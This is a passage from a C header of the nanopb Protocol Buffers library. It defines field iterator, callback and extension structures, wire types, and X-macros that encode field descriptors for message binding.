pb_size_t submessage_index; /* Index that counts only submessages */
|
||||
|
||||
pb_size_t tag; /* Tag of current field */
|
||||
pb_size_t data_size; /* sizeof() of a single item */
|
||||
pb_size_t array_size; /* Number of array entries */
|
||||
pb_type_t type; /* Type of current field */
|
||||
|
||||
void *pField; /* Pointer to current field in struct */
|
||||
void *pData; /* Pointer to current data contents. Different than pField for arrays and pointers. */
|
||||
void *pSize; /* Pointer to count/has field */
|
||||
|
||||
const pb_msgdesc_t *submsg_desc; /* For submessage fields, pointer to field descriptor for the submessage. */
|
||||
};
|
||||
|
||||
/* For compatibility with legacy code */
|
||||
typedef pb_field_iter_t pb_field_t;
|
||||
|
||||
/* Make sure that the standard integer types are of the expected sizes.
|
||||
* Otherwise fixed32/fixed64 fields can break.
|
||||
*
|
||||
* If you get errors here, it probably means that your stdint.h is not
|
||||
* correct for your platform.
|
||||
*/
|
||||
#ifndef PB_WITHOUT_64BIT
|
||||
PB_STATIC_ASSERT(sizeof(int64_t) == 2 * sizeof(int32_t), INT64_T_WRONG_SIZE)
|
||||
PB_STATIC_ASSERT(sizeof(uint64_t) == 2 * sizeof(uint32_t), UINT64_T_WRONG_SIZE)
|
||||
#endif
|
||||
|
||||
/* This structure is used for 'bytes' arrays.
|
||||
* It has the number of bytes in the beginning, and after that an array.
|
||||
* Note that actual structs used will have a different length of bytes array.
|
||||
*/
|
||||
#define PB_BYTES_ARRAY_T(n) struct { pb_size_t size; pb_byte_t bytes[n]; }
|
||||
#define PB_BYTES_ARRAY_T_ALLOCSIZE(n) ((size_t)n + offsetof(pb_bytes_array_t, bytes))
|
||||
|
||||
struct pb_bytes_array_s {
|
||||
pb_size_t size;
|
||||
pb_byte_t bytes[1];
|
||||
};
|
||||
typedef struct pb_bytes_array_s pb_bytes_array_t;
|
||||
|
||||
/* This structure is used for giving the callback function.
|
||||
* It is stored in the message structure and filled in by the method that
|
||||
* calls pb_decode.
|
||||
*
|
||||
* The decoding callback will be given a limited-length stream
|
||||
* If the wire type was string, the length is the length of the string.
|
||||
* If the wire type was a varint/fixed32/fixed64, the length is the length
|
||||
* of the actual value.
|
||||
* The function may be called multiple times (especially for repeated types,
|
||||
* but also otherwise if the message happens to contain the field multiple
|
||||
* times.)
|
||||
*
|
||||
* The encoding callback will receive the actual output stream.
|
||||
* It should write all the data in one call, including the field tag and
|
||||
* wire type. It can write multiple fields.
|
||||
*
|
||||
* The callback can be null if you want to skip a field.
|
||||
*/
|
||||
typedef struct pb_callback_s pb_callback_t;
|
||||
struct pb_callback_s {
|
||||
/* Callback functions receive a pointer to the arg field.
|
||||
* You can access the value of the field as *arg, and modify it if needed.
|
||||
*/
|
||||
union {
|
||||
bool (*decode)(pb_istream_t *stream, const pb_field_t *field, void **arg);
|
||||
bool (*encode)(pb_ostream_t *stream, const pb_field_t *field, void * const *arg);
|
||||
} funcs;
|
||||
|
||||
/* Free arg for use by callback */
|
||||
void *arg;
|
||||
};
|
||||
|
||||
extern bool pb_default_field_callback(pb_istream_t *istream, pb_ostream_t *ostream, const pb_field_t *field);
|
||||
|
||||
/* Wire types. Library user needs these only in encoder callbacks. */
|
||||
typedef enum {
|
||||
PB_WT_VARINT = 0,
|
||||
PB_WT_64BIT = 1,
|
||||
PB_WT_STRING = 2,
|
||||
PB_WT_32BIT = 5,
|
||||
PB_WT_PACKED = 255 /* PB_WT_PACKED is internal marker for packed arrays. */
|
||||
} pb_wire_type_t;
|
||||
|
||||
/* Structure for defining the handling of unknown/extension fields.
|
||||
* Usually the pb_extension_type_t structure is automatically generated,
|
||||
* while the pb_extension_t structure is created by the user. However,
|
||||
* if you want to catch all unknown fields, you can also create a custom
|
||||
* pb_extension_type_t with your own callback.
|
||||
*/
|
||||
typedef struct pb_extension_type_s pb_extension_type_t;
|
||||
typedef struct pb_extension_s pb_extension_t;
|
||||
struct pb_extension_type_s {
|
||||
/* Called for each unknown field in the message.
|
||||
* If you handle the field, read off all of its data and return true.
|
||||
* If you do not handle the field, do not read anything and return true.
|
||||
* If you run into an error, return false.
|
||||
* Set to NULL for default handler.
|
||||
*/
|
||||
bool (*decode)(pb_istream_t *stream, pb_extension_t *extension,
|
||||
uint32_t tag, pb_wire_type_t wire_type);
|
||||
|
||||
/* Called once after all regular fields have been encoded.
|
||||
* If you have something to write, do so and return true.
|
||||
* If you do not have anything to write, just return true.
|
||||
* If you run into an error, return false.
|
||||
* Set to NULL for default handler.
|
||||
*/
|
||||
bool (*encode)(pb_ostream_t *stream, const pb_extension_t *extension);
|
||||
|
||||
/* Free field for use by the callback. */
|
||||
const void *arg;
|
||||
};
|
||||
|
||||
struct pb_extension_s {
|
||||
/* Type describing the extension field. Usually you'll initialize
|
||||
* this to a pointer to the automatically generated structure. */
|
||||
const pb_extension_type_t *type;
|
||||
|
||||
/* Destination for the decoded data. This must match the datatype
|
||||
* of the extension field. */
|
||||
void *dest;
|
||||
|
||||
/* Pointer to the next extension handler, or NULL.
|
||||
* If this extension does not match a field, the next handler is
|
||||
* automatically called. */
|
||||
pb_extension_t *next;
|
||||
|
||||
/* The decoder sets this to true if the extension was found.
|
||||
* Ignored for encoding. */
|
||||
bool found;
|
||||
};
|
||||
|
||||
#define pb_extension_init_zero {NULL,NULL,NULL,false}
|
||||
|
||||
/* Memory allocation functions to use. You can define pb_realloc and
|
||||
* pb_free to custom functions if you want. */
|
||||
#ifdef PB_ENABLE_MALLOC
|
||||
# ifndef pb_realloc
|
||||
# define pb_realloc(ptr, size) realloc(ptr, size)
|
||||
# endif
|
||||
# ifndef pb_free
|
||||
# define pb_free(ptr) free(ptr)
|
||||
# endif
|
||||
#endif
|
||||
|
||||
/* This is used to inform about need to regenerate .pb.h/.pb.c files. */
|
||||
#define PB_PROTO_HEADER_VERSION 40
|
||||
|
||||
/* These macros are used to declare pb_field_t's in the constant array. */
|
||||
/* Size of a structure member, in bytes. */
|
||||
#define pb_membersize(st, m) (sizeof ((st*)0)->m)
|
||||
/* Number of entries in an array. */
|
||||
#define pb_arraysize(st, m) (pb_membersize(st, m) / pb_membersize(st, m[0]))
|
||||
/* Delta from start of one member to the start of another member. */
|
||||
#define pb_delta(st, m1, m2) ((int)offsetof(st, m1) - (int)offsetof(st, m2))
|
||||
|
||||
/* Force expansion of macro value */
|
||||
#define PB_EXPAND(x) x
|
||||
|
||||
/* Binding of a message field set into a specific structure */
|
||||
#define PB_BIND(msgname, structname, width) \
|
||||
const uint32_t structname ## _field_info[] PB_PROGMEM = \
|
||||
{ \
|
||||
msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ ## width, structname) \
|
||||
0 \
|
||||
}; \
|
||||
const pb_msgdesc_t* const structname ## _submsg_info[] = \
|
||||
{ \
|
||||
msgname ## _FIELDLIST(PB_GEN_SUBMSG_INFO, structname) \
|
||||
NULL \
|
||||
}; \
|
||||
const pb_msgdesc_t structname ## _msg = \
|
||||
{ \
|
||||
structname ## _field_info, \
|
||||
structname ## _submsg_info, \
|
||||
msgname ## _DEFAULT, \
|
||||
msgname ## _CALLBACK, \
|
||||
0 msgname ## _FIELDLIST(PB_GEN_FIELD_COUNT, structname), \
|
||||
0 msgname ## _FIELDLIST(PB_GEN_REQ_FIELD_COUNT, structname), \
|
||||
0 msgname ## _FIELDLIST(PB_GEN_LARGEST_TAG, structname), \
|
||||
}; \
|
||||
msgname ## _FIELDLIST(PB_GEN_FIELD_INFO_ASSERT_ ## width, structname)
|
||||
|
||||
#define PB_GEN_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) +1
|
||||
#define PB_GEN_REQ_FIELD_COUNT(structname, atype, htype, ltype, fieldname, tag) \
|
||||
+ (PB_HTYPE_ ## htype == PB_HTYPE_REQUIRED)
|
||||
#define PB_GEN_LARGEST_TAG(structname, atype, htype, ltype, fieldname, tag) \
|
||||
* 0 + tag
|
||||
|
||||
/* X-macro for generating the entries in struct_field_info[] array. */
|
||||
#define PB_GEN_FIELD_INFO_1(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_2(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_4(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_8(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_AUTO(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \
|
||||
tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_FIELDINFO_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
#define PB_FIELDINFO_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_ ## width(tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
/* X-macro for generating asserts that entries fit in struct_field_info[] array.
|
||||
* The structure of macros here must match the structure above in PB_GEN_FIELD_INFO_x(),
|
||||
* but it is not easily reused because of how macro substitutions work. */
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_1(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_1(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_2(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_2(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_4(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_4(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_8(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_8(tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_GEN_FIELD_INFO_ASSERT_AUTO(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_FIELDINFO_ASSERT_AUTO2(PB_FIELDINFO_WIDTH_AUTO(_PB_ATYPE_ ## atype, _PB_HTYPE_ ## htype, _PB_LTYPE_ ## ltype), \
|
||||
tag, PB_ATYPE_ ## atype | PB_HTYPE_ ## htype | PB_LTYPE_MAP_ ## ltype, \
|
||||
PB_DATA_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_DATA_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_SIZE_OFFSET_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname), \
|
||||
PB_ARRAY_SIZE_ ## atype(_PB_HTYPE_ ## htype, structname, fieldname))
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_AUTO2(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
#define PB_FIELDINFO_ASSERT_AUTO3(width, tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
PB_FIELDINFO_ASSERT_ ## width(tag, type, data_offset, data_size, size_offset, array_size)
|
||||
|
||||
#define PB_DATA_OFFSET_STATIC(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
|
||||
#define PB_DATA_OFFSET_POINTER(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
|
||||
#define PB_DATA_OFFSET_CALLBACK(htype, structname, fieldname) PB_DO ## htype(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_REQUIRED(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_SINGULAR(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_ONEOF(structname, fieldname) offsetof(structname, PB_ONEOF_NAME(FULL, fieldname))
|
||||
#define PB_DO_PB_HTYPE_OPTIONAL(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_REPEATED(structname, fieldname) offsetof(structname, fieldname)
|
||||
#define PB_DO_PB_HTYPE_FIXARRAY(structname, fieldname) offsetof(structname, fieldname)
|
||||
|
||||
#define PB_SIZE_OFFSET_STATIC(htype, structname, fieldname) PB_SO ## htype(structname, fieldname)
|
||||
#define PB_SIZE_OFFSET_POINTER(htype, structname, fieldname) PB_SO_PTR ## htype(structname, fieldname)
|
||||
#define PB_SIZE_OFFSET_CALLBACK(htype, structname, fieldname) PB_SO_CB ## htype(structname, fieldname)
|
||||
#define PB_SO_PB_HTYPE_REQUIRED(structname, fieldname) 0
|
||||
#define PB_SO_PB_HTYPE_SINGULAR(structname, fieldname) 0
|
||||
#define PB_SO_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF2(structname, PB_ONEOF_NAME(FULL, fieldname), PB_ONEOF_NAME(UNION, fieldname))
|
||||
#define PB_SO_PB_HTYPE_ONEOF2(structname, fullname, unionname) PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname)
|
||||
#define PB_SO_PB_HTYPE_ONEOF3(structname, fullname, unionname) pb_delta(structname, fullname, which_ ## unionname)
|
||||
#define PB_SO_PB_HTYPE_OPTIONAL(structname, fieldname) pb_delta(structname, fieldname, has_ ## fieldname)
|
||||
#define PB_SO_PB_HTYPE_REPEATED(structname, fieldname) pb_delta(structname, fieldname, fieldname ## _count)
|
||||
#define PB_SO_PB_HTYPE_FIXARRAY(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname)
|
||||
#define PB_SO_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 0
|
||||
#define PB_SO_PTR_PB_HTYPE_REPEATED(structname, fieldname) PB_SO_PB_HTYPE_REPEATED(structname, fieldname)
|
||||
#define PB_SO_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_REQUIRED(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_SINGULAR(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_ONEOF(structname, fieldname) PB_SO_PB_HTYPE_ONEOF(structname, fieldname)
|
||||
#define PB_SO_CB_PB_HTYPE_OPTIONAL(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_REPEATED(structname, fieldname) 0
|
||||
#define PB_SO_CB_PB_HTYPE_FIXARRAY(structname, fieldname) 0
|
||||
|
||||
#define PB_ARRAY_SIZE_STATIC(htype, structname, fieldname) PB_AS ## htype(structname, fieldname)
|
||||
#define PB_ARRAY_SIZE_POINTER(htype, structname, fieldname) PB_AS_PTR ## htype(structname, fieldname)
|
||||
#define PB_ARRAY_SIZE_CALLBACK(htype, structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_REQUIRED(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_SINGULAR(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_OPTIONAL(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_ONEOF(structname, fieldname) 1
|
||||
#define PB_AS_PB_HTYPE_REPEATED(structname, fieldname) pb_arraysize(structname, fieldname)
|
||||
#define PB_AS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname)
|
||||
#define PB_AS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_ONEOF(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_REPEATED(structname, fieldname) 1
|
||||
#define PB_AS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_arraysize(structname, fieldname[0])
|
||||
|
||||
#define PB_DATA_SIZE_STATIC(htype, structname, fieldname) PB_DS ## htype(structname, fieldname)
|
||||
#define PB_DATA_SIZE_POINTER(htype, structname, fieldname) PB_DS_PTR ## htype(structname, fieldname)
|
||||
#define PB_DATA_SIZE_CALLBACK(htype, structname, fieldname) PB_DS_CB ## htype(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname))
|
||||
#define PB_DS_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname)[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname[0])
|
||||
#define PB_DS_PTR_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname[0][0])
|
||||
#define PB_DS_CB_PB_HTYPE_REQUIRED(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_SINGULAR(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_OPTIONAL(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_ONEOF(structname, fieldname) pb_membersize(structname, PB_ONEOF_NAME(FULL, fieldname))
|
||||
#define PB_DS_CB_PB_HTYPE_REPEATED(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
#define PB_DS_CB_PB_HTYPE_FIXARRAY(structname, fieldname) pb_membersize(structname, fieldname)
|
||||
|
||||
#define PB_ONEOF_NAME(type, tuple) PB_EXPAND(PB_ONEOF_NAME_ ## type tuple)
|
||||
#define PB_ONEOF_NAME_UNION(unionname,membername,fullname) unionname
|
||||
#define PB_ONEOF_NAME_MEMBER(unionname,membername,fullname) membername
|
||||
#define PB_ONEOF_NAME_FULL(unionname,membername,fullname) fullname
|
||||
|
||||
#define PB_GEN_SUBMSG_INFO(structname, atype, htype, ltype, fieldname, tag) \
|
||||
PB_SUBMSG_INFO_ ## htype(_PB_LTYPE_ ## ltype, structname, fieldname)
|
||||
|
||||
#define PB_SUBMSG_INFO_REQUIRED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_SINGULAR(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_OPTIONAL(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_ONEOF(ltype, structname, fieldname) PB_SUBMSG_INFO_ONEOF2(ltype, structname, PB_ONEOF_NAME(UNION, fieldname), PB_ONEOF_NAME(MEMBER, fieldname))
|
||||
#define PB_SUBMSG_INFO_ONEOF2(ltype, structname, unionname, membername) PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername)
|
||||
#define PB_SUBMSG_INFO_ONEOF3(ltype, structname, unionname, membername) PB_SI ## ltype(structname ## _ ## unionname ## _ ## membername ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_REPEATED(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SUBMSG_INFO_FIXARRAY(ltype, structname, fieldname) PB_SI ## ltype(structname ## _ ## fieldname ## _MSGTYPE)
|
||||
#define PB_SI_PB_LTYPE_BOOL(t)
|
||||
#define PB_SI_PB_LTYPE_BYTES(t)
|
||||
#define PB_SI_PB_LTYPE_DOUBLE(t)
|
||||
#define PB_SI_PB_LTYPE_ENUM(t)
|
||||
#define PB_SI_PB_LTYPE_UENUM(t)
|
||||
#define PB_SI_PB_LTYPE_FIXED32(t)
|
||||
#define PB_SI_PB_LTYPE_FIXED64(t)
|
||||
#define PB_SI_PB_LTYPE_FLOAT(t)
|
||||
#define PB_SI_PB_LTYPE_INT32(t)
|
||||
#define PB_SI_PB_LTYPE_INT64(t)
|
||||
#define PB_SI_PB_LTYPE_MESSAGE(t) PB_SUBMSG_DESCRIPTOR(t)
|
||||
#define PB_SI_PB_LTYPE_MSG_W_CB(t) PB_SUBMSG_DESCRIPTOR(t)
|
||||
#define PB_SI_PB_LTYPE_SFIXED32(t)
|
||||
#define PB_SI_PB_LTYPE_SFIXED64(t)
|
||||
#define PB_SI_PB_LTYPE_SINT32(t)
|
||||
#define PB_SI_PB_LTYPE_SINT64(t)
|
||||
#define PB_SI_PB_LTYPE_STRING(t)
|
||||
#define PB_SI_PB_LTYPE_UINT32(t)
|
||||
#define PB_SI_PB_LTYPE_UINT64(t)
|
||||
#define PB_SI_PB_LTYPE_EXTENSION(t)
|
||||
#define PB_SI_PB_LTYPE_FIXED_LENGTH_BYTES(t)
|
||||
#define PB_SUBMSG_DESCRIPTOR(t) &(t ## _msg),
|
||||
|
||||
/* The field descriptors use a variable width format, with width of either
|
||||
* 1, 2, 4 or 8 of 32-bit words. The two lowest bytes of the first byte always
|
||||
* encode the descriptor size, 6 lowest bits of field tag number, and 8 bits
|
||||
* of the field type.
|
||||
*
|
||||
* Descriptor size is encoded as 0 = 1 word, 1 = 2 words, 2 = 4 words, 3 = 8 words.
|
||||
*
|
||||
* Formats, listed starting with the least significant bit of the first word.
|
||||
* 1 word: [2-bit len] [6-bit tag] [8-bit type] [8-bit data_offset] [4-bit size_offset] [4-bit data_size]
|
||||
*
|
||||
* 2 words: [2-bit len] [6-bit tag] [8-bit type] [12-bit array_size] [4-bit size_offset]
|
||||
* [16-bit data_offset] [12-bit data_size] [4-bit tag>>6]
|
||||
*
|
||||
* 4 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit array_size]
|
||||
* [8-bit size_offset] [24-bit tag>>6]
|
||||
* [32-bit data_offset]
|
||||
* [32-bit data_size]
|
||||
*
|
||||
* 8 words: [2-bit len] [6-bit tag] [8-bit type] [16-bit reserved]
|
||||
* [8-bit size_offset] [24-bit tag>>6]
|
||||
* [32-bit data_offset]
|
||||
* [32-bit data_size]
|
||||
* [32-bit array_size]
|
||||
* [32-bit reserved]
|
||||
* [32-bit reserved]
|
||||
* [32-bit reserved]
|
||||
*/
|
||||
|
||||
#define PB_FIELDINFO_1(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(0 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(data_offset) & 0xFF) << 16) | \
|
||||
(((uint32_t)(size_offset) & 0x0F) << 24) | (((uint32_t)(data_size) & 0x0F) << 28)),
|
||||
|
||||
#define PB_FIELDINFO_2(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(1 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFF) << 16) | (((uint32_t)(size_offset) & 0x0F) << 28)), \
|
||||
(((uint32_t)(data_offset) & 0xFFFF) | (((uint32_t)(data_size) & 0xFFF) << 16) | (((uint32_t)(tag) & 0x3c0) << 22)),
|
||||
|
||||
#define PB_FIELDINFO_4(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(2 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8) | (((uint32_t)(array_size) & 0xFFFF) << 16)), \
|
||||
((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \
|
||||
(data_offset), (data_size),
|
||||
|
||||
#define PB_FIELDINFO_8(tag, type, data_offset, data_size, size_offset, array_size) \
|
||||
(3 | (((uint32_t)(tag) << 2) & 0xFF) | ((type) << 8)), \
|
||||
((uint32_t)(int_least8_t)(size_offset) | (((uint32_t)(tag) << 2) & 0xFFFFFF00)), \
|
||||
(data_offset), (data_size), (array_size), 0, 0, 0,
|
||||
|
||||
/* These assertions verify that the field information fits in the allocated space.
|
||||
* The generator tries to automatically determine the correct width that can fit all
|
||||
* data associated with a message. These asserts will fail only if there has been a
|
||||
* problem in the automatic logic - this may be worth reporting as a bug. As a workaround,
|
||||
